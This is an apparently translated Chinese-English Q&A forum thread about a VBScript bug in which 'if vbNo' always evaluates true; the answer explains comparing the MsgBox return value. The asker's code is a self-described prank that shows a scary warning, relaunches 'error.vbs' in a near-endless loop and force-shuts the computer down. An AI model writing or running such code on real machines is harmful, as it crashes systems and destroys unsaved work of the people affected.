vbscript 不会正确执行 "if"

vbscript wont do "if" properly

我正在创建一个 vbs,但是当我在 msgbox 中单击“是”后,它却执行了“否”应该执行的操作。 这是我的代码:

X=MsgBox("Please Restart. Our system will break down.",4+4096, ErR0r)
if vbNo then
 X=MsgBox("e")
 dim count
 set object = wscript.CreateObject("wscript.shell")

 do
 object.run "error.vbs"
 count = count + 1
 loop until count = 100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
end if

if vbYes then
   Dim IntCounter
   Dim objWshShl : Set objWshShl = WScript.CreateObject("wscript.shell")
   Dim objVoice : Set objVoice = WScript.CreateObject("sapi.spvoice")

   ShutdownWarning()
   TimedMessageBox()
   ShutdownComputer()

   Function ShutdownWarning
        X=MsgBox("happy late april fools, hehe", 0+4096)
    WScript.Sleep 5000
   End Function

   Function TimedMessageBox
    For IntCounter = 5 To 1 Step -1
    objWshShl.Popup "Your time will be wasted in " _
    & IntCounter & " seconds",1,"Computer Shutdown", 0+4096
    Next
   End Function

   Function ShutdownComputer
    objWshShl.Run "Shutdown /s /f /t 0",0
   End Function
end if

有人对此有解决方案吗? (我不是要创建一个合法的病毒,这只是我为了好玩而做的恶作剧)

vbNoa constant value equal to 7

if vbNo 将始终为真,因为 7 不是虚假值。

你需要用一个变量来获取用户输入的return值,比如:

userInput = msgBox("click yes or no", vbYesNo)
if userInput = vbNo Then
   ' do something
end if